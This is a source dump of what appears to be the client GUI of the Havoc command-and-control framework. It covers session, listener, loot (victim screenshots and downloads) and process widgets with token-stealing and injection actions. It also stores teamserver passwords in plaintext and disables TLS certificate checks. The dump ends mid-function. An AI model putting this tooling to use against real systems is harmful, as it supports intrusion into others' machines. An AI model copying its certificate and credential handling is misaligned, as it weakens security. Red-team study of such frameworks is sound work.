TeamserverName; QWidget* ListenerWidget; void setupUi( QWidget* widget ); void ButtonsInit(); void setDBManager( HavocSpace::DBManager* dbManager ); Util::Packager::Package CreateNewPackage( int EventID, MapStrStr ) const; void ListenerAdd( Util::ListenerItem item ) const; void ListenerEdit( Util::ListenerItem item ) const; void ListenerRemove( QString ListenerName ) const; void ListenerError( QString ListenerName, QString Error ) const; }; ================================================ FILE: client/include/UserInterface/Widgets/LootWidget.h ================================================ #ifndef HAVOC_LOOTWIDGET_H #define HAVOC_LOOTWIDGET_H #include #include #include #include #include #include #include #include #include #include class ImageLabel : public QWidget { public: QLabel* label; QScrollArea* scrollArea; bool key_ctrl = false; explicit ImageLabel(QWidget *parent = 0); const QPixmap* pixmap() const; public slots: void setPixmap(const QPixmap&); protected: void resizeEvent(QResizeEvent *); void keyReleaseEvent( QKeyEvent* event ); bool event(QEvent *) override; void wheelEvent(QWheelEvent *ev); public slots: void resizeImage(); }; class LootWidget : public QWidget { public: enum { LOOT_IMAGE, LOOT_FILE, }; typedef struct { int Type; QString AgentID; struct { } File; struct { QString Name; QString Date; QString Size; QByteArray Data; } Data; } LootData; std::vector LootItems; QGridLayout* gridLayout; QLabel* LabelShow; QLabel* LabelAgentID; QComboBox* ComboShow; QComboBox* ComboAgentID; QTableWidget* ScreenshotTable; QTableWidget* DownloadTable; QMenu* ScreenshotMenu; QAction* ScreenshotActionDownload; QSpacerItem* horizontalSpacer; QStackedWidget* StackWidget; QWidget* Screenshots; QGridLayout* gridLayout_2; QSplitter* splitter; ImageLabel* ScreenshotImage; QWidget* Downloads; QGridLayout* gridLayout_3; QSpacerItem* horizontalSpacer_2; LootWidget(); void Reload(); void AddSessionSection( const QString& DemonID ); void AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data ); void AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data ); void AddText( const QString& DemonID, const QString& Name, const QByteArray& Data ); void ScreenshotTableAdd( const QString& Name, const QString& Date ); void DownloadTableAdd( const QString& Name, const QString& Size, const QString& Date ); private Q_SLOTS: void onAgentChange( const QString& text ); void onShowChange( const QString& text ); void onScreenshotTableClick( const QModelIndex &index ); void onDownloadTableClick( const QModelIndex &index ); void onScreenshotTableCtx( const QPoint &pos ); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/ProcessList.hpp ================================================ #ifndef HAVOC_PROCESSLIST_HPP #define HAVOC_PROCESSLIST_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include class HavocNamespace::UserInterface::Widgets::ProcessList : public QWidget { private: QGridLayout *gridLayout; QSplitter *splitter; QTreeWidget *ProcessTree; QTableWidget *ProcessTable; QSpacerItem *horizontalSpacer; QPushButton *pushButton_Refresh; QPushButton *pushButton_Kill; QPushButton *pushButton_Steal_Token; QPushButton *pushButton_Inject; QSpacerItem *horizontalSpacer_2; QMenu *ProcessListMenu; QAction *actionCopyProcessID; QAction *actionSetAsParentProcess; public: Util::SessionItem Session; QWidget* ProcessListWidget; QString Teamserver; void setupUi(QWidget* Widget); void UpdateProcessListJson(QJsonDocument ProcessListData); void NewTableProcess(std::map ProcessInfo); void NewTreeProcess(std::map ProcessInfo); private slots: void onButton_Refresh() const; void onTableChange(); void onTreeChange(); void handleTableListMenuContext(const QPoint &pos); void handleTreeListMenuContext(const QPoint &pos); void onActionCopyPID(); void onActionSetParentProcess(); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/PythonScript.hpp ================================================ #ifndef HAVOC_PYTHONSCRIPTWIDGET_HPP #define HAVOC_PYTHONSCRIPTWIDGET_HPP #include #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") class HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter : public QWidget { public: QGridLayout* gridLayout; QLineEdit* PythonScriptInput; QPlainTextEdit* PythonScriptOutput; QWidget* PythonScriptInterpreterWidget; std::string StdOut; void setupUi(QWidget *WindowWidget); void RunCode(QString code); void AppendOutput( QString output ); private slots: void AppendFromInput(); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/ScriptManager.h ================================================ #ifndef SCRIPTMANAGERVVJSUY_H #define SCRIPTMANAGERVVJSUY_H #include class HavocNamespace::UserInterface::Widgets::ScriptManager : public QWidget { public: QGridLayout *gridLayout = NULL; QPushButton *buttonLoadScript = NULL; QSpacerItem *horizontalSpacer = NULL; QSpacerItem *horizontalSpacer_2 = NULL; QTableWidget *tableLoadedScripts = NULL; QWidget *ScriptManagerWidget = NULL; QMenu *menuScripts = NULL; QAction *actionReload = NULL; QAction *actionRemove = NULL; void SetupUi( QWidget *Form ); void RetranslateUi( void ); static bool AddScript( QString Path ); void AddScriptTable( QString Path ); private slots: void b_LoadScript(); void menu_ScriptMenu( const QPoint &pos ) const; void ReloadScript() const; void RemoveScript() const; }; #endif // SCRIPTMANAGERVVJSUY_H ================================================ FILE: client/include/UserInterface/Widgets/SessionGraph.hpp ================================================ #ifndef HAVOC_SESSIONGRAPH_HPP #define HAVOC_SESSIONGRAPH_HPP #include #include #include #include class Node; class GraphWidget; class Edge; enum class NodeItemType { Nothing = 0, MainNode = 1, Session = 2 }; class Node : public QGraphicsItem { QRectF NodePainterSize = QRectF(); QString NodeLabel = QString(); public: QString NodeID = QString(); NodeItemType NodeType = NodeItemType::Nothing; Edge* NodeEdge = nullptr; Node* Parent = nullptr; // Pointer to the parent node of the current node. Null for the root. Node* Thread = nullptr; // For extreme left or right nodes, used to provide a successor node in a contour. Node* Ancestor = this; // During the tree layout, it points to the node's ancestor that is used to determine how far apart different subtrees should be. bool Disconnected = false; double Prelim = 0; // Preliminary y-coordinate calculated during the first tree traversal. double Modifier = 0; // Amount to adjust a node's y-coordinate, based on the positions of its descendants. double Shift = 0; // Amount to move subtrees apart to avoid overlaps. double Change = 0; // Rate of change in shift amount, used to evenly distribute shifts among siblings. std::vector Children = std::vector(); HavocNamespace::Util::SessionItem Session; public: Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget ); void appendChild( Node* child ); void removeChild( Node* child ); void addEdge( Edge* edge ); QVector edges() const; enum { Type = UserType + 1 }; int type() const override { return Type; } void calculateForces(); bool advancePosition(); void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) override; QRectF boundingRect() const override; QPainterPath shape() const override; void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override; protected: QVariant itemChange( GraphicsItemChange change, const QVariant& value ) override; void mousePressEvent( QGraphicsSceneMouseEvent* event ) override; void mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) override; void mouseMoveEvent( QGraphicsSceneMouseEvent* event ) override; private: QVector edgeList; QPointF newPos; GraphWidget* graph; }; class GraphWidget : public QGraphicsView { Q_OBJECT typedef struct { QString Name; class Node* Node; } Member; QGraphicsScene* GraphScene = nullptr; Member* MainNode = nullptr; std::vector NodeList = std::vector(); public: GraphWidget( QWidget* parent = nullptr ); void itemMoved(); Node* GraphNodeAdd( HavocNamespace::Util::SessionItem Session ); void GraphNodeRemove( HavocNamespace::Util::SessionItem Session ); Node* GraphNodeGet( QString AgentID ); void GraphPivotNodeAdd( QString AgentID, HavocNamespace::Util::SessionItem Session ); void GraphPivotNodeDisconnect( QString AgentID ); void GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID ); public slots: void shuffle(); void zoomIn(); void zoomOut(); protected: void keyPressEvent( QKeyEvent* event ) override; void timerEvent( QTimerEvent* event ) override; void resizeEvent( QResizeEvent* event ) override; #if QT_CONFIG( wheelevent ) void wheelEvent( QWheelEvent* event ) override; #endif void drawBackground( QPainter* painter, const QRectF& rect ) override; void scaleView( qreal scaleFactor ); private: int timerId = 0; Node* centerNode; const double X_SEP = 220; // Horizontal separation between levels of the tree const double Y_SEP = 120; // Vertical separation between sibling nodes void initNode(Node* v); void layout(Node* T); void firstWalk(Node* v); void apportion(Node* v, Node*& defaultAncestor); void moveSubtree(Node* wm, Node* wp, double shift); Node* nextLeft(Node* v); Node* nextRight(Node* v); Node* ancestor(Node* vim, Node* v, Node*& defaultAncestor); void executeShifts(Node* v); void secondWalk(Node* v, double m, double depth); }; class Edge : public QGraphicsItem { public: Node* source = nullptr; Node* dest = nullptr; Edge( Node* sourceNode, Node* destNode, QColor Color ); Node* sourceNode() const; Node* destNode() const; void adjust(); void Color( QColor color ); enum { Type = UserType + 2 }; int type() const override { return Type; } protected: QRectF boundingRect() const override; void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override; private: QColor color = QColor(); QPointF sourcePoint = QPointF(); QPointF destPoint = QPointF(); qreal arrowSize = 10; }; #endif ================================================ FILE: client/include/UserInterface/Widgets/SessionTable.hpp ================================================ #ifndef HAVOC_SESSIONTABLE_HPP #define HAVOC_SESSIONTABLE_HPP #include #include class HavocNamespace::UserInterface::Widgets::SessionTable : public QWidget { private: QGridLayout* gridLayout = nullptr; QString TeamserverName = nullptr; QTableWidgetItem* TitleAgentID = nullptr; QTableWidgetItem* TitleInternal = nullptr; QTableWidgetItem* TitleExternal = nullptr; QTableWidgetItem* TitleUser = nullptr; QTableWidgetItem* TitleComputer = nullptr; QTableWidgetItem* TitleOperating = nullptr; QTableWidgetItem* TitleProcess = nullptr; QTableWidgetItem* TitleProcessId = nullptr; QTableWidgetItem* TitleArch = nullptr; QTableWidgetItem* TitleLast = nullptr; QTableWidgetItem* TitleHealth = nullptr; public: QTableWidget* SessionTableWidget = nullptr; void setupUi( QWidget* widget, QString TeamserverName ); void NewSessionItem( Util::SessionItem item ) const; void ChangeSessionValue( QString DemonID, int key, QString value ); void updateRow(); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/Store.hpp ================================================ #ifndef HAVOC_STORE_HPP #define HAVOC_STORE_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include class Store { public: QWidget* StoreWidget; QHBoxLayout* horizontalLayout; QSplitter* StoreSplitter; QTableWidget* StoreTable; QTableWidgetItem *labelTitle; QTableWidgetItem *labelAuthor; QWidget* panelStore; QVBoxLayout* panelLayout; QWidget* root_panelStore; QVBoxLayout* root_panelLayout; QScrollArea* panelScroll; QJsonArray* dataStore; QLabel* headerLabelTitle; QLabel* panelLabelDescription; QLabel* panelLabelAuthor; QPushButton* installButton; QGridLayout* gridLayout; QTextEdit* StoreLogger; void setupUi( QWidget* Store ); void displayData( int position ); void installScript( int position ); bool AddScript( QString Path ); void retranslateUi( ); }; #endif ================================================ FILE: client/include/UserInterface/Widgets/Teamserver.hpp ================================================ #ifndef HAVOC_TEAMSERVER_HPP #define HAVOC_TEAMSERVER_HPP #include #include #include #include #include #include #include #include #include #include #include class Teamserver { public: QGridLayout* gridLayout; QWidget* TeamserverWidget; QTextEdit* TeamserverLogger; void setupUi( QWidget* Teamserver ); void retranslateUi( ); void AddLoggerText( const QString& Text ) const; }; #endif ================================================ FILE: client/include/UserInterface/Widgets/TeamserverTabSession.h ================================================ #ifndef HAVOC_TEAMSERVERTABSESSION_H #define HAVOC_TEAMSERVERTABSESSION_H #include #include #include #include #include #include #include #include using namespace HavocNamespace; class HavocNamespace::UserInterface::Widgets::TeamserverTabSession : public QWidget { typedef struct { UserInterface::SmallWidgets::EventViewer* EventViewer; } SmallAppWidgets_t; public: QGridLayout* gridLayout = {}; QGridLayout* gridLayout_2 = {}; QWidget* layoutWidget = {}; QSplitter* splitter_TopBot = {}; QSplitter* splitter_SessionAndTabs = {}; QVBoxLayout* verticalLayout = {}; QTabWidget* tabWidget = {}; QTabWidget* tabWidgetSmall = {}; public: Widgets::Chat* TeamserverChat = {}; class Teamserver* Teamserver = {}; class Store* Store = {}; Widgets::SessionTable* SessionTableWidget = {}; GraphWidget* SessionGraphWidget = {}; Widgets::ListenersTable* ListenerTableWidget = {}; Widgets::PythonScriptInterpreter* PythonScriptWidget = {}; Widgets::ScriptManager* ScriptManagerWidget = {}; Payload* PayloadDialog = {}; class LootWidget* LootWidget = {}; QStackedWidget* MainViewWidget = {}; QWidget* SessionTablePage = {}; HavocSpace::DBManager* dbManager = {}; QString TeamserverName = {}; QWidget* PageWidget = {}; SmallAppWidgets_t* SmallAppWidgets = {}; void setupUi( QWidget* Page, QString TeamserverName ); void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, QString IconPath = "" ) const; void NewWidgetTab( QWidget* TabWidget, const std::string& TitleName ) const; protected slots: void handleDemonContextMenu( const QPoint& pos ); void removeTabSmall( int ) const; }; #endif ================================================ FILE: client/include/Util/Base.hpp ================================================ #ifndef HAVOC_BASE_HPP #define HAVOC_BASE_HPP #include #include #include #include #include #include #include auto FileRead( const QString& FilePath ) -> QByteArray; auto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -> void; auto WinVersionIcon( QString OSVersion, bool High ) -> QIcon; auto WinVersionImage( QString OSVersion, bool High ) -> QImage; auto GrayScale( QImage image ) -> QImage; auto CurrentDateTime( void ) -> QString; auto CurrentTime( void ) -> QString; #endif ================================================ FILE: client/include/Util/Base64.h ================================================ #ifndef HAVOC_BASE64_H #define HAVOC_BASE64_H #include #include std::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen); #endif ================================================ FILE: client/include/Util/ColorText.h ================================================ #ifndef HAVOC_COLORTEXT_H #define HAVOC_COLORTEXT_H #include class HavocNamespace::Util::ColorText { public: struct Colors { struct Hex { static QString Background; static QString Foreground; static QString CurrentLine; static QString Comment; static QString Cyan; static QString Green; static QString Orange; static QString Pink; static QString Purple; static QString Red; static QString Yellow; static QString SessionCyan; static QString SessionGreen; static QString SessionOrange; static QString SessionPink; static QString SessionPurple; static QString SessionRed; static QString SessionYellow; }; }; static void SetDraculaDark(); static void SetDraculaLight(); static QString Color(const QString& color, const QString& text); static QString Background(const QString&); static QString Foreground(const QString&); static QString Comment(const QString&); static QString Cyan(const QString&); static QString Green(const QString&); static QString Orange(const QString&); static QString Pink(const QString&); static QString Purple(const QString&); static QString Red(const QString&); static QString Yellow(const QString&); static QString Underline(const QString& text); static QString UnderlineBackground(const QString& text); static QString UnderlineForeground(const QString& text); static QString UnderlineComment(const QString& text); static QString UnderlineCyan(const QString& text); static QString UnderlineGreen(const QString& text); static QString UnderlineOrange(const QString& text); static QString UnderlinePink(const QString& text); static QString UnderlinePurple(const QString& text); static QString UnderlineRed(const QString& text); static QString UnderlineYellow(const QString& text); static QString Bold(const QString& text); }; #endif //HAVOC_COLORTEXT_H ================================================ FILE: client/include/global.hpp ================================================ #ifndef HAVOC_GLOBAL_HPP #define HAVOC_GLOBAL_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") typedef uint32_t u32; typedef uint64_t u64; /* windows habit lol */ typedef char* PCHAR; typedef char BYTE; typedef void* PVOID; typedef void* LPVOID; typedef unsigned long int UINT_PTR; /* std typedefs */ typedef std::map MapStrStr; typedef std::map MapStrAny; /* TODO: rewrite everything. * this is a stupid design * move every class into its own header * remove this namespace */ namespace HavocNamespace { extern std::string Version; extern std::string CodeName; namespace Util { class ColorText; std::string base64_encode( const char* buf, unsigned int bufLen ); std::string gen_random( const int len ); typedef struct RegisteredCommand { /* for what agent is it this command */ std::string Agent; std::string Module; std::string Command; std::string Help; u32 Behaviour; std::string Usage; std::string Example; void* Function; std::string Path; } RegisteredCommand ; typedef struct RegisteredModule { /* for what agent is it this command */ std::string Agent; std::string Name; std::string Description; std::string Behavior; std::string Usage; std::string Example; } RegisteredModule; typedef struct ListenerItem { std::string Name; std::string Protocol; std::string Status; std::any Info; } ListenerItem; }; namespace UserInterface { class HavocUi; namespace Dialogs { class Connect; class NewListener; } // Widgets namespace Widgets { class Chat; class SessionTable; class ListenersTable; class CredentialsTable; class TeamserverTabSession; class ProcessList; class PythonScriptInterpreter; class ScriptManager; } namespace SmallWidgets { class EventViewer; } }; namespace HavocSpace { struct Listener { static QString PayloadHTTPS; static QString PayloadHTTP; static QString PayloadSMB; static QString PayloadExternal; typedef struct { QStringList Hosts; QString HostBind; QString HostRotation; QString PortBind; QString PortConn; QString UserAgent; QStringList Headers; QStringList Uris; QString HostHeader; QString Secure; QString ProxyEnabled; QString ProxyType; QString ProxyHost; QString ProxyPort; QString ProxyUsername; QString ProxyPassword; } HTTP; typedef struct { QString PipeName; } SMB; typedef struct { QString Endpoint; } External; typedef MapStrStr Service; }; class Packager; class DBManager; class Havoc; } extern HavocNamespace::HavocSpace::Havoc* HavocApplication; }; namespace HavocNamespace { class Connector; namespace UserInterface::Widgets { class DemonInteracted; } namespace HavocSpace { class DemonCommands; }; namespace Util { typedef struct { QString TeamserverID; QString Name; u64 MagicValue; QString External; QString Internal; QString Listener; QString User; QString Computer; QString Domain; QString OS; QString OSBuild; QString OSArch; QString Process; QString PID; QString Arch; QString First; QString Last; QDateTime LastUTC; QString Elevated; QString PivotParent; QString Marked; QString Health; u32 SleepDelay; u32 SleepJitter; u64 KillDate; u32 WorkingHours; UserInterface::Widgets::DemonInteracted* InteractedWidget; UserInterface::Widgets::ProcessList* ProcessList; class FileBrowser* FileBrowser; std::map TaskIDToPythonCallbacks; void Export(); } SessionItem; typedef struct { QString Name; QString Host; QString Port; QString User; QString Password; std::vector Listeners; std::vector RegisteredListeners; std::vector Sessions; std::vector RegisteredCommands; std::vector RegisteredModules; std::vector RegisteredCallbacks; std::vector ServiceAgents; QStringList AddedCommands; QJsonDocument DemonConfig; QStringList IpAddresses; std::string LoadingScript; UserInterface::Widgets::TeamserverTabSession* TabSession; } ConnectionInfo; }; } // Global Instance namespace HavocX { extern bool DebugMode; extern bool GateGUI; extern PyObject* callbackGate; extern PyObject* callbackMessage; extern HavocNamespace::Util::ConnectionInfo Teamserver; extern HavocNamespace::UserInterface::HavocUi* HavocUserInterface; extern HavocNamespace::Connector* Connector; } #endif ================================================ FILE: client/makefile ================================================ MAKEFLAGS += -s ifndef VERBOSE .SILENT: endif all: @ mkdir build; cd build; cmake .. @ if [ -d "Modules" ]; then echo "Modules installed"; else git clone https://github.com/HavocFramework/Modules Modules; fi @ cmake --build build -- -j 4 clean: @ rm -rf build @ rm -rf .idea @ rm -rf cmake-build-debug @ rm -rf modules @ rm -rf Havoc ================================================ FILE: client/src/Havoc/Connector.cc ================================================ #include #include #include #include #include Connector::Connector( Util::ConnectionInfo* ConnectionInfo ) { Teamserver = ConnectionInfo; Socket = new QWebSocket(); auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/"; auto SslConf = Socket->sslConfiguration(); /* ignore annoying SSL errors */ SslConf.setPeerVerifyMode( QSslSocket::VerifyNone ); Socket->setSslConfiguration( SslConf ); Socket->ignoreSslErrors(); QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message ) { auto Package = HavocSpace::Packager::DecodePackage( Message ); if ( Package != nullptr ) { if ( ! Packager ) return; Packager->DispatchPackage( Package ); return; } spdlog::critical( "Got Invalid json" ); } ); QObject::connect( Socket, &QWebSocket::connected, this, [&]() { this->Packager = new HavocSpace::Packager; this->Packager->setTeamserver( this->Teamserver->Name ); SendLogin(); } ); QObject::connect( Socket, &QWebSocket::disconnected, this, [&]() { MessageBox( "Teamserver error", Socket->errorString(), QMessageBox::Critical ); Socket->close(); Havoc::Exit(); } ); Socket->open( QUrl( Server ) ); } bool Connector::Disconnect() { if ( this->Socket != nullptr ) { this->Socket->disconnect(); return true; } return false; } Connector::~Connector() noexcept { delete this->Socket; } void Connector::SendLogin() { Util::Packager::Package Package; Util::Packager::Head_t Head; Util::Packager::Body_t Body; Head.Event = Util::Packager::InitConnection::Type; Head.User = this->Teamserver->User.toStdString(); Head.Time = CurrentTime().toStdString(); Body.SubEvent = Util::Packager::InitConnection::Login; Body.Info[ "User" ] = this->Teamserver->User.toStdString(); Body.Info[ "Password" ] = QCryptographicHash::hash( this->Teamserver->Password.toLocal8Bit(), QCryptographicHash::Sha3_256 ).toHex().toStdString(); Package.Head = Head; Package.Body = Body; SendPackage( &Package ); } void Connector::SendPackage( Util::Packager::PPackage Package ) { Socket->sendBinaryMessage( Packager->EncodePackage( *Package ).toJson( QJsonDocument::Compact ) ); } ================================================ FILE: client/src/Havoc/DBManger/DBManager.cc ================================================ #include #include using namespace HavocNamespace::HavocSpace; int DBManager::OpenSqlFile = 1; int DBManager::CreateSqlFile = 2; DBManager::DBManager( const QString& FilePath, int OpenFlag ) { auto exists = false; if ( QFileInfo::exists( FilePath ) ) { exists = true; } this->DB = QSqlDatabase::addDatabase( "QSQLITE" ); this->DB.setDatabaseName( FilePath ); if ( this->DB.open() ) { if ( OpenFlag == DBManager::CreateSqlFile && ! exists ) { if ( this->createNewDatabase() ) { spdlog::info( "Successful created database" ); } else { spdlog::error( "Failed to create a new database" ); } } } else { spdlog::error( "[DB] Failed to open database" ); } } bool DBManager::createNewDatabase() { auto query = QSqlQuery(); auto error = std::string(); /* check if the db file is opened */ if ( ! DB.isOpen() ) { return false; } query.prepare( "CREATE TABLE \"Teamservers\" ( " "\"ID\" INTEGER PRIMARY KEY, " "\"ProfileName\" TEXT, " "\"Host\" TEXT, " "\"Port\" INTEGER, " "\"User\" TEXT, " "\"Password\" TEXT " ");" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't create Teamserver table: ", error ); } query.prepare( "CREATE TABLE \"Scripts\" ( " "\"ID\" INTEGER PRIMARY KEY, " "\"Path\" TEXT " ");" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't create Scripts table: ", error ); return false; } return true; } ================================================ FILE: client/src/Havoc/DBManger/Scripts.cc ================================================ #include bool HavocNamespace::HavocSpace::DBManager::AddScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "insert into Scripts (Path) values(:Path)" ); query.bindValue( ":Path", Path ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Failed to add Script: {}", error ); return false; } return true; } bool HavocNamespace::HavocSpace::DBManager::RemoveScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); auto path = std::string(); query.prepare( "delete from Scripts where Path = :Path" ); query.bindValue( ":Path", Path ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); path = Path.toStdString(); spdlog::error( "[DB] Couldn't delete {} from Scripts: {}", path, error ); return false; } return true; } bool HavocNamespace::HavocSpace::DBManager::CheckScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "select * from Scripts" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't query Scripts: {}", error ); return false; } while ( query.next() ) { if ( query.value( "Path" ) == Path ) return true; } return false; } vector HavocNamespace::HavocSpace::DBManager::GetScripts() { auto List = vector(); auto query = QSqlQuery(); auto error = std::string(); query.prepare( "select * from Scripts" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't query Scripts: {}", error ); return List; } while ( query.next() ) List.push_back( query.value("Path").toString() ); return List; } ================================================ FILE: client/src/Havoc/DBManger/Teamserver.cc ================================================ #include #include using namespace HavocNamespace; bool HavocSpace::DBManager::addTeamserverInfo( const Util::ConnectionInfo& connection ) { auto query = QSqlQuery(); auto success = true; auto error = std::string(); query.prepare( "insert into Teamservers (ProfileName, Host, Port, User, Password) values(:ProfileName, :Host, :Port, :User, :Password)" ); query.bindValue( ":ProfileName", connection.Name.toStdString().c_str() ); query.bindValue( ":Host", connection.Host.toStdString().c_str() ); query.bindValue( ":Port", connection.Port.toStdString().c_str() ); query.bindValue( ":User", connection.User.toStdString().c_str() ); query.bindValue( ":Password", connection.Password.toStdString().c_str() ); /* print error */ if ( ! ( success = query.exec() ) ) { error = query.lastError().text().toStdString(); success = false; spdlog::error( "[DB] Failed to add teamserver info: {}", error ); } return success; } bool HavocSpace::DBManager::checkTeamserverExists( const QString& ProfileName ) { auto query = QSqlQuery(); auto success = false; auto error = std::string(); query.prepare( "select * from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Failed to query teamserver existence: {}", error ); return success; } while ( query.next() ) { if ( query.value( "ProfileName" ) == ProfileName ) { success = true; break; } } return success; } bool HavocSpace::DBManager::removeTeamserverInfo( const QString& ProfileName ) { auto query = QSqlQuery(); auto error = std::string(); auto name = std::string(); query.prepare( "delete from Teamservers where ProfileName = :ProfileName" ); query.bindValue( ":ProfileName", ProfileName ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); name = ProfileName.toStdString(); spdlog::error( "[DB] Failed to deleting teamserver [{}] info: {}", name, error ); return false; } return true; } vector HavocSpace::DBManager::listTeamservers() { auto query = QSqlQuery(); auto TeamserverList = vector(); auto error = std::string(); query.prepare( "select * from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Error while query teamserver list: {}", error ); return TeamserverList; } /* iterating over the queried list */ while ( query.next() ) { TeamserverList.push_back( { .Name = query.value( "ProfileName" ).toString(), .Host = query.value( "Host" ).toString(), .Port = query.value( "Port" ).toString(), .User = query.value( "User" ).toString(), .Password = query.value( "Password" ).toString(), } ); } return TeamserverList; } bool HavocSpace::DBManager::removeAllTeamservers() { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "delete from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Error while deleting teamservers: {}", error ); return false; } return true; } ================================================ FILE: client/src/Havoc/Demon/CommandOutput.cc ================================================ #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; void DispatchOutput::MessageOutput( QString JsonString, const QString& Date = "" ) const { auto JsonDocument = QJsonDocument::fromJson( QByteArray::fromBase64( JsonString.toLocal8Bit( ) ) ); auto TaskID = JsonDocument[ "TaskID" ].toString(); auto MessageType = JsonDocument[ "Type" ].toString(); auto Message = JsonDocument[ "Message" ].toString(); auto Output = JsonDocument[ "Output" ].toString(); if ( Message.length() > 0 ) { if ( MessageType == "Error" || MessageType == "Erro" ) this->DemonCommandInstance->DemonConsole->TaskError( Message ); else if ( MessageType == "Good" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Green( "[+]" ) + " " + Message ); else if ( MessageType == "Info" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + Message ); else if ( MessageType == "Warning" || MessageType == "Warn" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Yellow( "[!]" ) + " " + Message ); else this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Purple( "[^]" ) + " " + Message ); } if ( ! Output.isEmpty() ) { //printf("task: %s\n", TaskID.toUtf8().constData()); if (HavocX::callbackMessage) { PyObject *arglist = Py_BuildValue( "s", Output.toUtf8().constData() ); PyObject_CallFunctionObjArgs( HavocX::callbackMessage, arglist, NULL ); Py_XDECREF( HavocX::callbackMessage ); HavocX::callbackMessage = NULL; } this->DemonCommandInstance->DemonConsole->AppendRaw( Output ); } if ( JsonDocument[ "MiscType" ].toString().compare( "" ) != 0 ) { auto Type = JsonDocument[ "MiscType" ].toString(); auto Data = JsonDocument[ "MiscData" ].toString(); if ( Type.compare( "screenshot" ) == 0 ) { auto DecodedData = QByteArray::fromBase64( Data.toLocal8Bit() ); auto Name = JsonDocument[ "MiscData2" ].toString(); HavocX::Teamserver.TabSession->LootWidget->AddScreenshot( DemonCommandInstance->DemonID, Name, Date, DecodedData ); } else if ( Type.compare( "download" ) == 0 ) { auto MiscDataInfo = JsonDocument[ "MiscData2" ].toString().split( ";" ); auto Name = QByteArray::fromBase64( MiscDataInfo[ 0 ].toLocal8Bit() ); auto Size = ( MiscDataInfo[ 1 ] ); HavocX::Teamserver.TabSession->LootWidget->AddDownload( DemonCommandInstance->DemonID, Name, Size, Date, nullptr ); } else if ( Type.compare( "ProcessUI" ) == 0 ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name == DemonCommandInstance->DemonID ) { if ( Session.ProcessList ) { auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() ); Session.ProcessList->UpdateProcessListJson( QJsonDocument::fromJson( Decoded ) ); } } } } else if ( Type.compare( "FileExplorer" ) == 0 ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name == DemonCommandInstance->DemonID ) { if ( Session.FileBrowser ) { auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() ); Session.FileBrowser->AddData( QJsonDocument::fromJson( Decoded ) ); } } } } else if ( Type.compare( "disconnect" ) == 0 ) { HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeDisconnect( Data ); } else if ( Type.compare( "reconnect" ) == 0 ) { auto Split = Data.split( ";" ); HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeReconnect( Split[ 0 ], Split[ 1 ] ); } } } ================================================ FILE: client/src/Havoc/Demon/CommandSend.cc ================================================ #include #include #include #include #include #include // TODO: refactor this auto NewPackageCommand( const QString& TeamserverName, Util::Packager::Body_t Body ) -> void { auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; Package->Head = Head; Package->Body = Body; HavocX::Connector->SendPackage( Package ); } auto CommandExecute::FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", 